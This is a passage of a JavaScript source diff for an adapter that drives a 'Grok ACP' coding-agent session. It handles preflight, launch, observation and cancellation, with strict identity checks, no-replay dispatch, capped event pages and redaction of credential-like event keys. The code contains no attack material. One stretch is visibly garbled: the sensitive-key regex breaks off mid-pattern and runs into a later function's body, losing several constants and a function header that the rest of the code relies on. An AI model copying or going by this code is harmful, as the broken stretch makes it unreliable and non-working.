(confirmed_launch, live_session_reply, local_managed_worktree, +// run_base_sha, never_replay, merge none, create_pr prohibited); +// - preflight/launch/reconcile/cancel talk to a process-injected transport +// suitable for deterministic tests, not a live Grok stdio client; +// - launch is `dispatched` only after an authoritative ACP acknowledgement; +// any exception, timeout, loss, or unusable receipt after spawn/dispatch +// intent is returned as `dispatch_uncertain` and is never retried, +// replayed, or fallback-substituted; +// - live progress, detailed events, same-session reply identity, +// cancellation confirmation, and restart reattach are supported exactly +// where Grok ACP supports them, with stale identities failing closed; +// - event pages, text, counts, cursors, timings, and diagnostics are capped; +// envelope/prompt content is dispatch evidence and must not enter +// telemetry or driver detail messages. +// +// This slice does not cut the supervisor over, does not claim durable +// P19/P21 state, and is not live-transport qualification. Process-local +// lane risk from P17 bind-on-throw remains: the adapter keeps its own +// spawn/dispatch-intent map so a thrown caller still cannot replay. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { timingSafeEqual as cryptoTimingSafeEqual } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { MAX_TIMEOUT_MS } from './contract.mjs'; +import { + capturedCreate, + capturedDefineProperty, + capturedDescriptor, + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedJoin, + capturedTest, + capturedUtf8ByteLength, + isModelId, + sortedCapturedKeys, +} from './grammar.mjs'; +import { DIGEST_HEX_LENGTH, IDENTITY_LABELS } from './identity.mjs'; +import { parseChildEnvelopeV1 } from './prompt-compiler.mjs'; +import { + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_FEATURE_VALUES, + DRIVER_OPERATIONS, + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + RECONCILE_INCLUDE_VALUES, + assertProviderDriverV1, + bindProviderDriverV1, + validateDriverCancelRequestV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, + validateDriverPreflightRequestV1, + validateDriverReconcileRequestV1, +} from './provider-driver.mjs'; +import { boundedProviderValue } from './provider-result.mjs'; +import { + assertAllowedKeys, + assertBoundedText, + assertDenseJsonArray, + assertJsonDataObject, + isPlainObject, +} from './run-manifest.mjs'; +import { + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + identityBoundDigest, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const GROK_PROVIDER_SLOT = 'grok'; +export const GROK_ACP_AGENT = 'grok-build'; +export const GROK_ACP_DRIVER_SCHEMA_ID = 'codex-co-engineer.grok-acp-driver.v1'; +export const GROK_ACP_TRANSPORT_SCHEMA_ID = 'codex-co-engineer.grok-acp-transport.v1'; +export const GROK_ACP_EVIDENCE_SCHEMA_ID = 'codex-co-engineer.grok-acp-evidence.v1'; +export const GROK_ACP_CAPABILITY_REVISION = 'p18.grok-acp.1'; + +export const GROK_ACP_TRANSPORT_OPERATIONS = capturedFreeze([ + 'preflight', 'spawn', 'dispatch', 'observe', 'cancel', 'reattach', +]); + +export const GROK_ACP_SESSION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +export const GROK_ACP_QUESTION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]{0,79}$/u; +export const GROK_ACP_CURSOR_PATTERN = /^[0-9]{1,16}$/u; +export const GROK_ACP_REQUEST_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; + +export const MAX_GROK_ACP_EVENT_PAGE = 32; +export const MAX_GROK_ACP_EVENT_TEXT_BYTES = 4 * 1024; +export const MAX_GROK_ACP_EVENT_BYTES = 32 * 1024; +export const MAX_GROK_ACP_EVENT_DEPTH = 6; +export const MAX_GROK_ACP_EVENT_ITEMS = 64; +export const MAX_GROK_ACP_EVENT_KEYS = 32; +export const MAX_GROK_ACP_EVIDENCE_BYTES = 32 * 1024; +export const MAX_GROK_ACP_ATTENTION_PROMPT_BYTES = 256; +export const MAX_GROK_ACP_TIMING_MS = MAX_TIMEOUT_MS; +export const MAX_GROK_ACP_EVENT_COUNT = 1_000_000; + +export const GROK_ACP_OBSERVE_STATUSES = capturedFreeze([ + 'running', 'needs_attention', 'completed', 'failed', 'cancelled', 'lost', +]); +export const GROK_ACP_CANCEL_OUTCOMES = capturedFreeze([ + 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); + +const CHILD_ENVELOPE_DIGEST_PATTERN = new RegExp(`^[0-9a-f]{${DIGEST_HEX_LENGTH}}$`, 'u'); +const DETAIL_CODE_PATTERN = /^[a-z0-9][a-z0-9._-]{0,63}$/u; +const DETAIL_MESSAGE_MAX_BYTES = 512; + +const ARRAY_PUSH = Array.prototype.push; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const IS_PROXY = utilTypes.isProxy; +const MAP_CTOR = Map; +const OBJECT_FREEZE = Object.freeze; +const SET_CTOR = Set; +const SET_ADD = SET_CTOR.prototype.add; +const SET_HAS = SET_CTOR.prototype.has; +const STRING = String; +const TIMING_SAFE_EQUAL = cryptoTimingSafeEqual; +const WEAK_MAP_CTOR = WeakMap; + +const OMIT_EVENT_KEYS = capturedFreeze([ + 'availablecommands', 'content', 'envelope_text', 'prompt', 'rawinput', 'rawoutput', +]); +const SENSITIVE_EVENT_KEY = /(?:api[_-]?key|authorization|access[_-]?token|refresh[_-]?token|bearer|token|password|secret|cookie|credential|private[_-]?key|(? 48 ? `${text.slice(0, 45)}...` : text; +} + +function detachFrozenJson(value) { + if (value === null || typeof value !== 'object') return value; + if (capturedIsArray(value)) { + const clone = []; + for (let index = 0; index < value.length; index += 1) { + ARRAY_PUSH.call(clone, detachFrozenJson(value[index])); + } + return OBJECT_FREEZE(clone); + } + const clone = {}; + const keys = sortedCapturedKeys(value); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + capturedDefineProperty(clone, key, { + value: detachFrozenJson(optOwn(value, key)), + enumerable: true, + configurable: false, + writable: false, + }); + } + return OBJECT_FREEZE(clone); +} + +function digestsEqual(left, right) { + return typeof left === 'string' && typeof right === 'string' + && capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, left) + && capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, right) + && TIMING_SAFE_EQUAL(BUFFER_FROM(left, 'hex'), BUFFER_FROM(right, 'hex')); +} + +function laneKey(runId, assignmentId) { + return `${runId}\u0000${assignmentId}`; +} + +function storeFor(driver) { + const store = DRIVER_STORES.get(driver); + if (store === undefined) { + fail('invalid_surface', 'grok_acp_driver', + 'inspectGrokAcpLaneEvidenceV1 requires a driver created by this adapter.'); + } + return store; +} + +function grokCapabilityRecord() { + return { + schema: PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + artifact_kinds: capturedFreeze(['event_segment', 'git_diff', 'provider_report']), + create_pr_posture: 'prohibited', + dispatch_certainty: 'confirmed_launch', + exact_model_selection: 'exact_and_attested', + merge_authority: 'none_codex_only_integration', + notes: GROK_ACP_NOTES, + provider: GROK_PROVIDER_SLOT, + replay_posture: 'never_replay', + revision: GROK_ACP_CAPABILITY_REVISION, + same_session_reply: 'live_session_reply', + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + }; +} + +export function grokAcpDriverDeclarationV1() { + return validateDriverDeclarationV1({ + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: grokCapabilityRecord(), + features: { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + }, + }); +} + +function assertPatternedId(value, pattern, path, label) { + if (typeof value !== 'string' || !capturedTest(pattern, value)) { + fail('invalid_format', path, `${path} must be a bounded ${label}.`); + } + return value; +} + +function assertDigest(value, path) { + if (typeof value !== 'string' || !capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, value)) { + fail('invalid_format', path, + `${path} must be a raw lowercase ${DIGEST_HEX_LENGTH}-hex sha256 digest.`); + } + return value; +} + +function assertExactModel(value, path) { + if (!isModelId(value)) { + fail('invalid_exact_model_selection', path, + `${path} must be the exact selected Grok model identifier.`); + } + return value; +} + +function identityFromEnvelope(envelope, childEnvelopeDigest) { + const provider = envelope.execution.provider; + if (provider !== GROK_PROVIDER_SLOT) { + fail('provider_slot_mismatch', 'envelope.execution.provider', + `The Grok ACP adapter hard-binds provider "${GROK_PROVIDER_SLOT}"; received ` + + `"${truncateForMessage(provider)}".`); + } + const model = envelope.execution.model; + if (typeof model !== 'string' || model.length === 0) { + fail('invalid_exact_model_selection', 'envelope.execution.model', + 'The Grok ACP adapter requires the exact selected model; digest-or-profile-only launches are denied.'); + } + assertExactModel(model, 'envelope.execution.model'); + if (envelope.starting_ref !== null) { + fail('capability_workspace_mismatch', 'envelope.starting_ref', + 'Grok lanes start at the run immutable base_sha and never carry a starting_ref.'); + } + return capturedFreeze({ + provider: GROK_PROVIDER_SLOT, + model, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + repository_path: envelope.repository.path, + child_envelope_digest: childEnvelopeDigest, + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + }); +} + +function assertReceiptIdentity(receipt, identity, path) { + const expected = capturedFreeze({ + provider: identity.provider, + model: identity.model, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + child_envelope_digest: identity.child_envelope_digest, + }); + for (const key of sortedCapturedKeys(expected)) { + if (!hasOwn(receipt, key)) { + fail('malformed_receipt', `${path}.${key}`, `${path}.${key} must echo the exact Grok lane identity.`); + } + const actual = optOwn(receipt, key); + const value = expected[key]; + const equal = key === 'child_envelope_digest' ? digestsEqual(actual, value) : actual === value; + if (!equal) { + fail('stale_identity_denied', `${path}.${key}`, + `${path}.${key} must echo ${truncateForMessage(value)}; received ${truncateForMessage(actual)}.`); + } + } + if (hasOwn(receipt, 'repository_path') && optOwn(receipt, 'repository_path') !== identity.repository_path) { + fail('stale_identity_denied', `${path}.repository_path`, + 'Transport workspace path does not match the exact managed worktree identity.'); + } +} + +function assertClosedReceipt(receipt, allowedKeys, path) { + if (receipt === undefined || receipt === null) { + fail('malformed_receipt', path, `${path} must be a plain transport receipt.`); + } + assertDirectJsonClosure(receipt, path); + assertPlainObject(receipt, 'malformed_receipt', path, path); + assertAllowedKeys(receipt, allowedKeys, path); +} + +function boundedDiagnosticMessage(code, fallback) { + const text = typeof fallback === 'string' && fallback.length > 0 ? fallback : code; + if (capturedUtf8ByteLength(text) <= DETAIL_MESSAGE_MAX_BYTES) return text; + return `${text.slice(0, 64)}`; +} + +function assertDetailPair(receipt, path) { + const code = optOwn(receipt, 'detail_code'); + const message = optOwn(receipt, 'detail_message'); + if (typeof code !== 'string' || !capturedTest(DETAIL_CODE_PATTERN, code)) { + fail('invalid_format', `${path}.detail_code`, + `${path}.detail_code violates the bounded detail-code grammar.`); + } + assertBoundedText(message, { + min: 1, max: DETAIL_MESSAGE_MAX_BYTES, path: `${path}.detail_message`, label: 'detail_message', + }); + return capturedFreeze({ detail_code: code, detail_message: message }); +} + +function sanitizeEventNode(value, depth, budget, seen) { + if (budget.remaining <= 0) return '[truncated]'; + if (value === null || typeof value === 'boolean') return value; + if (typeof value === 'number') { + if (!Number.isFinite(value)) return null; + return value; + } + if (typeof value === 'string') { + let text = value; + if (capturedUtf8ByteLength(text) > MAX_GROK_ACP_EVENT_TEXT_BYTES) { + text = `${text.slice(0, MAX_GROK_ACP_EVENT_TEXT_BYTES)}…`; + } + const size = capturedUtf8ByteLength(text); + if (size > budget.remaining) { + budget.remaining = 0; + return '[truncated]'; + } + budget.remaining -= size; + return text; + } + if (typeof value !== 'object') return '[redacted]'; + assertNotProxy(value, 'grok_acp.event'); + if (seen.has(value) || depth >= MAX_GROK_ACP_EVENT_DEPTH) return '[truncated]'; + seen.add(value); + if (capturedIsArray(value)) { + assertDenseJsonArray(value, 'grok_acp.event'); + const out = []; + const limit = Math.min(value.length, MAX_GROK_ACP_EVENT_ITEMS); + for (let index = 0; index < limit && budget.remaining > 0; index += 1) { + ARRAY_PUSH.call(out, sanitizeEventNode(ownDataValue(value, STRING(index), `grok_acp.event[${index}]`), + depth + 1, budget, seen)); + } + if (value.length > limit) ARRAY_PUSH.call(out, '[truncated]'); + return OBJECT_FREEZE(out); + } + if (!isPlainObject(value)) return '[redacted]'; + const out = {}; + const keys = sortedCapturedKeys(value); + const limit = Math.min(keys.length, MAX_GROK_ACP_EVENT_KEYS); + for (let index = 0; index < limit && budget.remaining > 0; index += 1) { + const key = keys[index]; + const normalized = key.toLowerCase(); + if (capturedIncludes(OMIT_EVENT_KEYS, normalized)) continue; + if (SENSITIVE_EVENT_KEY.test(key)) { + out[key] = '[redacted]'; + continue; + } + out[key] = sanitizeEventNode(optOwn(value, key), depth + 1, budget, seen); + } + return OBJECT_FREEZE(out); +} + +function boundEventPage(events, path) { + if (events === undefined) return capturedFreeze([]); + assertDenseJsonArray(events, path); + const start = Math.max(0, events.length - MAX_GROK_ACP_EVENT_PAGE); + const page = []; + const budget = { remaining: MAX_GROK_ACP_EVENT_BYTES }; + for (let index = start; index < events.length; index += 1) { + const entryPath = `${path}[${index}]`; + const event = ownDataValue(events, STRING(index), entryPath); + ARRAY_PUSH.call(page, sanitizeEventNode(event, 0, budget, new WeakSet())); + } + return capturedFreeze({ + events: OBJECT_FREEZE(page), + truncated: events.length > MAX_GROK_ACP_EVENT_PAGE || budget.remaining <= 0, + dropped_prefix: start, + }); +} + +function boundAttention(attention, sessionId, path) { + if (attention === undefined) return undefined; + assertClosedReceipt(attention, ATTENTION_KEYS, path); + const observedSession = assertPatternedId( + optOwn(attention, 'session_id'), GROK_ACP_SESSION_ID_PATTERN, `${path}.session_id`, 'session_id', + ); + if (observedSession !== sessionId) { + fail('stale_identity_denied', `${path}.session_id`, + 'Attention session_id must match the live Grok ACP session; cross-session reply identity is denied.'); + } + const questionId = assertPatternedId( + optOwn(attention, 'question_id'), GROK_ACP_QUESTION_ID_PATTERN, `${path}.question_id`, 'question_id', + ); + const projected = { + session_id: observedSession, + question_id: questionId, + }; + if (hasOwn(attention, 'prompt')) { + const prompt = optOwn(attention, 'prompt'); + if (typeof prompt !== 'string') { + fail('invalid_type', `${path}.prompt`, `${path}.prompt must be a string when present.`); + } + projected.prompt = capturedUtf8ByteLength(prompt) > MAX_GROK_ACP_ATTENTION_PROMPT_BYTES + ? `${prompt.slice(0, MAX_GROK_ACP_ATTENTION_PROMPT_BYTES)}…` + : prompt; + } + return freezeData(projected); +} + +function boundProgress(progress, path) { + if (progress === undefined) return undefined; + assertClosedReceipt(progress, PROGRESS_KEYS, path); + const projected = {}; + if (hasOwn(progress, 'cursor')) { + projected.cursor = assertPatternedId( + optOwn(progress, 'cursor'), GROK_ACP_CURSOR_PATTERN, `${path}.cursor`, 'event cursor', + ); + } + if (hasOwn(progress, 'event_count')) { + const count = optOwn(progress, 'event_count'); + if (!Number.isSafeInteger(count) || count < 0 || count > MAX_GROK_ACP_EVENT_COUNT) { + fail('invalid_format', `${path}.event_count`, + `${path}.event_count must be a bounded integer count.`); + } + projected.event_count = count; + } + if (hasOwn(progress, 'elapsed_ms')) { + const elapsed = optOwn(progress, 'elapsed_ms'); + if (!Number.isSafeInteger(elapsed) || elapsed < 0 || elapsed > MAX_GROK_ACP_TIMING_MS) { + fail('invalid_format', `${path}.elapsed_ms`, + `${path}.elapsed_ms must be a bounded millisecond timing.`); + } + projected.elapsed_ms = elapsed; + } + if (hasOwn(progress, 'status')) { + const status = optOwn(progress, 'status'); + if (!capturedIncludes(GROK_ACP_OBSERVE_STATUSES, status)) { + fail('invalid_format', `${path}.status`, + `${path}.status must be one of ${capturedJoin(GROK_ACP_OBSERVE_STATUSES, ', ')}.`); + } + projected.status = status; + } + return freezeData(projected); +} + +function projectEvidence(observe, include, identity, sessionId) { + const wantEvents = capturedIncludes(include, 'detailed_events'); + const wantProgress = capturedIncludes(include, 'live_progress'); + const page = wantEvents ? boundEventPage(optOwn(observe, 'events'), 'transport.observe.events') : capturedFreeze({ + events: capturedFreeze([]), truncated: false, dropped_prefix: 0, + }); + const progress = wantProgress || hasOwn(observe, 'progress') || hasOwn(observe, 'cursor') + || hasOwn(observe, 'elapsed_ms') || hasOwn(observe, 'event_count') + ? boundProgress({ + ...(hasOwn(observe, 'progress') ? optOwn(observe, 'progress') : {}), + ...(hasOwn(observe, 'cursor') ? { cursor: optOwn(observe, 'cursor') } : {}), + ...(hasOwn(observe, 'elapsed_ms') ? { elapsed_ms: optOwn(observe, 'elapsed_ms') } : {}), + ...(hasOwn(observe, 'event_count') ? { event_count: optOwn(observe, 'event_count') } : {}), + ...(hasOwn(observe, 'status') ? { status: optOwn(observe, 'status') } : {}), + }, 'transport.observe.progress') + : undefined; + const attention = hasOwn(observe, 'attention') + ? boundAttention(optOwn(observe, 'attention'), sessionId, 'transport.observe.attention') + : undefined; + const projected = { + schema: GROK_ACP_EVIDENCE_SCHEMA_ID, + provider: identity.provider, + model: identity.model, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + child_envelope_digest: identity.child_envelope_digest, + session_id: sessionId, + status: optOwn(observe, 'status'), + truncated: page.truncated === true, + }; + if (wantEvents) projected.events = page.events; + if (wantProgress && progress !== undefined) projected.progress = progress; + if (attention !== undefined) projected.attention = attention; + if (progress?.cursor !== undefined) projected.cursor = progress.cursor; + else if (hasOwn(observe, 'cursor')) { + projected.cursor = assertPatternedId( + optOwn(observe, 'cursor'), GROK_ACP_CURSOR_PATTERN, 'transport.observe.cursor', 'event cursor', + ); + } + const bounded = boundedProviderValue(projected, { + limit: MAX_GROK_ACP_EVENT_TEXT_BYTES, + maxDepth: MAX_GROK_ACP_EVENT_DEPTH, + maxItems: MAX_GROK_ACP_EVENT_ITEMS, + maxBytes: MAX_GROK_ACP_EVIDENCE_BYTES, + }); + return freezeData({ + ...bounded.value, + evidence_truncated: bounded.result_truncated === true || page.truncated === true, + }); +} + +function driverResult(operation, identity, disposition, details = {}) { + const result = { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + child_envelope_digest: identity.child_envelope_digest, + disposition, + }; + if (details.detail_code !== undefined) result.detail_code = details.detail_code; + if (details.detail_message !== undefined) result.detail_message = details.detail_message; + return freezeData(result); +} + +function isPostSpawnFailure(error) { + if (error === null || typeof error !== 'object') return false; + if (error.spawned === true) return true; + return typeof error.code === 'string' && capturedIncludes(POST_SPAWN_ERROR_CODES, error.code); +} + +function callTransport(store, operation, request) { + const handler = capturedDescriptor(store.handlers, operation)?.value; + if (typeof handler !== 'function' || IS_PROXY(handler)) { + fail('invalid_operation', `grok_acp_transport.${operation}`, + `grok_acp_transport.${operation} must be a concrete function.`); + } + return handler.call(store.transport, request); +} + +function transportIdentityRequest(identity, extras = {}) { + return detachFrozenJson({ + provider: identity.provider, + model: identity.model, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + lane_index: identity.lane_index, + base_sha: identity.base_sha, + repository_path: identity.repository_path, + child_envelope_digest: identity.child_envelope_digest, + workspace_semantics: identity.workspace_semantics, + workspace_starting_point: identity.workspace_starting_point, + ...extras, + }); +} + +function assertNoContentKeys(request, path) { + if (hasOwn(request, 'envelope_text') || hasOwn(request, 'prompt') || hasOwn(request, 'text')) { + fail('content_in_telemetry_denied', path, + `${path} must not carry envelope or prompt content; that byte string is dispatch evidence only.`); + } +} + +function getLane(store, identity) { + return store.lanes.get(laneKey(identity.run_id, identity.assignment_id)); +} + +function putLane(store, identity, record) { + store.lanes.set(laneKey(identity.run_id, identity.assignment_id), capturedFreeze({ + ...record, + identity, + })); +} + +function assertLaneIdentity(record, identity, path) { + if (record === undefined) return; + if (!digestsEqual(record.identity.child_envelope_digest, identity.child_envelope_digest) + || record.identity.model !== identity.model + || record.identity.base_sha !== identity.base_sha + || record.identity.repository_path !== identity.repository_path + || record.identity.provider !== identity.provider) { + fail('stale_identity_denied', path, + 'Session/run/child/model/workspace identity does not match the exact Grok lane previously observed.'); + } +} + +function dispatchRequestId(identity, sessionId) { + const digest = identityBoundDigest(IDENTITY_LABELS.DISPATCH_ATTEMPT, { + assignment_id: identity.assignment_id, + child_envelope_digest: identity.child_envelope_digest, + model: identity.model, + provider: identity.provider, + run_id: identity.run_id, + session_id: sessionId, + }); + if (!capturedTest(SHA256_DIGEST_PATTERN, digest)) { + fail('invalid_format', 'dispatch.request_id', 'Dispatch request id binding must be a sha256 digest.'); + } + return `gak-${digest.slice('sha256:'.length, 'sha256:'.length + 32)}`; +} + +export function assertGrokAcpTransportV1(transport) { + const path = 'grok_acp_transport'; + if (transport !== null && (typeof transport === 'object' || typeof transport === 'function') + && IS_PROXY(transport)) { + fail('proxy_denied', path, + `${path} is a live or revoked Proxy; the Grok adapter accepts a concrete injected transport only.`); + } + if (!isPlainObject(transport)) { + if (typeof transport === 'object' && transport !== null && !capturedIsArray(transport)) { + fail('exotic_prototype_denied', path, + `${path} must use the standard or null object prototype; exotic prototypes are denied.`); + } + fail('invalid_type', path, + `${path} must be a plain record of the closed Grok ACP transport operations.`); + } + const entries = assertJsonDataObject(transport, path); + if (entries.length !== GROK_ACP_TRANSPORT_OPERATIONS.length + || entries.some(({ key }) => !capturedIncludes(GROK_ACP_TRANSPORT_OPERATIONS, key))) { + const received = entries.map(({ key }) => key).join(', ') || 'none'; + fail('invalid_surface', path, + `${path} must expose exactly ${capturedJoin(GROK_ACP_TRANSPORT_OPERATIONS, ', ')}; received ${received}.`); + } + for (const { key, value } of entries) { + if (typeof value !== 'function' || IS_PROXY(value)) { + fail('invalid_operation', `${path}.${key}`, + `${path}.${key} must be a concrete function implementing "${key}".`); + } + } + return capturedFreeze({ + schema: GROK_ACP_TRANSPORT_SCHEMA_ID, + operations: capturedFreeze([...GROK_ACP_TRANSPORT_OPERATIONS]), + provider: GROK_PROVIDER_SLOT, + agent: GROK_ACP_AGENT, + }); +} + +function runPreflight(store, request) { + const view = validateDriverPreflightRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + if (prior !== undefined && capturedIncludes( + ['spawned', 'dispatch_uncertain', 'dispatched', 'in_progress', 'unresolved_attention', + 'terminal', 'cancel_requested', 'cancel_confirmed'], + prior.state, + )) { + fail('invalid_transition', 'driver.preflight.request', + 'Preflight cannot run after a Grok prompt may have been dispatched; reconcile or cancel instead.'); + } + const probe = transportIdentityRequest(identity); + assertNoContentKeys(probe, 'grok_acp_transport.preflight.request'); + let receipt; + try { + receipt = callTransport(store, 'preflight', probe); + } catch (error) { + const blocked = driverResult('preflight', identity, 'blocked', { + detail_code: 'transport_unavailable', + detail_message: boundedDiagnosticMessage('transport_unavailable', + 'Grok ACP preflight failed before any session was spawned.'), + }); + putLane(store, identity, { state: 'blocked', model: identity.model }); + void error; + return blocked; + } + assertClosedReceipt(receipt, PREFLIGHT_RECEIPT_KEYS, 'transport.preflight.result'); + assertReceiptIdentity(receipt, identity, 'transport.preflight.result'); + const ok = optOwn(receipt, 'ok'); + if (ok === true) { + if (hasOwn(receipt, 'detail_code') || hasOwn(receipt, 'detail_message')) { + fail('detail_pair_denied', 'transport.preflight.result.detail_code', + 'A ready Grok preflight receipt must not carry a detail pair.'); + } + putLane(store, identity, { state: 'ready', model: identity.model }); + return driverResult('preflight', identity, 'ready'); + } + if (ok !== false) { + fail('malformed_receipt', 'transport.preflight.result.ok', + 'transport.preflight.result.ok must be an exact boolean.'); + } + const detail = assertDetailPair(receipt, 'transport.preflight.result'); + putLane(store, identity, { state: 'blocked', model: identity.model }); + return driverResult('preflight', identity, 'blocked', detail); +} + +function markUncertain(store, identity, extras = {}) { + putLane(store, identity, { + state: 'dispatch_uncertain', + model: identity.model, + session_id: extras.session_id, + request_id: extras.request_id, + spawned: true, + dispatch_intent: true, + }); + return driverResult('launch', identity, 'dispatch_uncertain'); +} + +function runLaunch(store, request) { + const view = validateDriverLaunchRequestV1(request); + const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); + const prior = getLane(store, identity); + assertLaneIdentity(prior, identity, 'driver.launch.request'); + if (prior === undefined || (prior.state !== 'ready' && prior.state !== 'not_sent')) { + if (prior !== undefined && prior.spawned === true) { + fail('replay_denied', 'driver.launch.request', + 'A previous Grok launch may have sent the prompt; the lane is never replayed or fallback-substituted.'); + } + fail('not_preflighted', 'driver.launch.request', + 'Launch requires a prior preflight:ready result for this exact Grok child identity.'); + } + if (prior.state === 'blocked') { + fail('blocked_lane_denied', 'driver.launch.request', + 'A blocked Grok preflight cannot launch; the lane fails closed with no fallback.'); + } + + let sessionId; + let spawnReturned = false; + try { + const spawnRequest = transportIdentityRequest(identity); + assertNoContentKeys(spawnRequest, 'grok_acp_transport.spawn.request'); + const spawned = callTransport(store, 'spawn', spawnRequest); + spawnReturned = true; + assertClosedReceipt(spawned, SPAWN_RECEIPT_KEYS, 'transport.spawn.result'); + if (optOwn(spawned, 'spawned') !== true) { + fail('malformed_receipt', 'transport.spawn.result.spawned', + 'transport.spawn.result.spawned must be exactly true.'); + } + assertReceiptIdentity(spawned, identity, 'transport.spawn.result'); + sessionId = assertPatternedId( + optOwn(spawned, 'session_id'), GROK_ACP_SESSION_ID_PATTERN, 'transport.spawn.result.session_id', 'session_id', + ); + } catch (error) { + if (spawnReturned || isPostSpawnFailure(error)) { + return markUncertain(store, identity); + } + putLane(store, identity, { state: 'not_sent', model: identity.model }); + return driverResult('launch', identity, 'not_sent', { + detail_code: typeof error?.code === 'string' && capturedTest(DETAIL_CODE_PATTERN, error.code) + ? error.code : 'spawn_failed', + detail_message: boundedDiagnosticMessage('spawn_failed', + 'Grok ACP spawn failed before a session existed; no prompt was dispatched.'), + }); + } + + putLane(store, identity, { + state: 'spawned', + model: identity.model, + session_id: sessionId, + spawned: true, + dispatch_intent: true, + }); + + const requestId = dispatchRequestId(identity, sessionId); + try { + const dispatchRequest = detachFrozenJson({ + ...transportIdentityRequest(identity, { session_id: sessionId, request_id: requestId }), + envelope_text: view.request.envelope_text, + }); + const ack = callTransport(store, 'dispatch', dispatchRequest); + assertClosedReceipt(ack, DISPATCH_RECEIPT_KEYS, 'transport.dispatch.result'); + if (optOwn(ack, 'acknowledged') !== true) { + return markUncertain(store, identity, { session_id: sessionId, request_id: requestId }); + } + assertReceiptIdentity(ack, identity, 'transport.dispatch.result'); + const ackSession = assertPatternedId( + optOwn(ack, 'session_id'), GROK_ACP_SESSION_ID_PATTERN, 'transport.dispatch.result.session_id', 'session_id', + ); + if (ackSession !== sessionId) { + fail('stale_identity_denied', 'transport.dispatch.result.session_id', + 'Dispatch acknowledgement session_id must match the spawned Grok ACP session.'); + } + const ackRequestId = assertPatternedId( + optOwn(ack, 'request_id'), GROK_ACP_REQUEST_ID_PATTERN, 'transport.dispatch.result.request_id', 'request_id', + ); + if (ackRequestId !== requestId) { + fail('stale_identity_denied', 'transport.dispatch.result.request_id', + 'Dispatch acknowledgement request_id must match the exact dispatch attempt.'); + } + putLane(store, identity, { + state: 'dispatched', + model: identity.model, + session_id: sessionId, + request_id: requestId, + spawned: true, + dispatch_intent: true, + acknowledged: true, + }); + return driverResult('launch', identity, 'dispatched'); + } catch (error) { + void error; + return markUncertain(store, identity, { session_id: sessionId, request_id: requestId }); + } +} + +function observeLane(store, identity, record, include) { + const extras = { include: [...include] }; + if (record.session_id !== undefined) extras.session_id = record.session_id; + if (record.request_id !== undefined) extras.request_id = record.request_id; + const observeRequest = transportIdentityRequest(identity, extras); + assertNoContentKeys(observeRequest, 'grok_acp_transport.observe.request'); + const receipt = callTransport(store, 'observe', observeRequest); + assertClosedReceipt(receipt, OBSERVE_RECEIPT_KEYS, 'transport.observe.result'); + assertReceiptIdentity(receipt, identity, 'transport.observe.result'); + const sessionId = assertPatternedId( + optOwn(receipt, 'session_id'), GROK_ACP_SESSION_ID_PATTERN, 'transport.observe.result.session_id', 'session_id', + ); + if (record.session_id !== undefined && sessionId !== record.session_id) { + fail('stale_identity_denied', 'transport.observe.result.session_id', + 'Observed session_id does not match the spawned Grok ACP session.'); + } + const status = optOwn(receipt, 'status'); + if (!capturedIncludes(GROK_ACP_OBSERVE_STATUSES, status)) { + fail('invalid_format', 'transport.observe.result.status', + `transport.observe.result.status must be one of ${capturedJoin(GROK_ACP_OBSERVE_STATUSES, ', ')}.`); + } + if (hasOwn(receipt, 'elapsed_ms')) { + const elapsed = optOwn(receipt, 'elapsed_ms'); + if (!Number.isSafeInteger(elapsed) || elapsed < 0 || elapsed > MAX_GROK_ACP_TIMING_MS) { + fail('invalid_format', 'transport.observe.result.elapsed_ms', + 'elapsed_ms must be a bounded millisecond timing.'); + } + } + if (hasOwn(receipt, 'event_count')) { + const count = optOwn(receipt, 'event_count'); + if (!Number.isSafeInteger(count) || count < 0 || count > MAX_GROK_ACP_EVENT_COUNT) { + fail('invalid_format', 'transport.observe.result.event_count', + 'event_count must be a bounded integer count.'); + } + } + const evidence = projectEvidence(receipt, include, identity, sessionId); + if (status === 'needs_attention' && evidence.attention === undefined) { + fail('capability_reply_mismatch', 'transport.observe.result.attention', + 'Grok ACP needs_attention requires the exact live session_id and question_id; silent unanswerable attention is denied.'); + } + return capturedFreeze({ receipt, sessionId, status, evidence }); +} + +function reconcileDisposition(status) { + if (status === 'needs_attention') return 'unresolved_attention'; + if (status === 'lost') return 'dispatch_uncertain'; + if (capturedIncludes(TERMINAL_OBSERVE_STATUSES, status)) return 'terminal'; + 